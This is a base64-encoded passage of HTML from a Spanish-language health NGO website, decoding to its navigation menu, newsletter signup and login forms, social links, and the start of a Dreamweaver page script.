dpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGV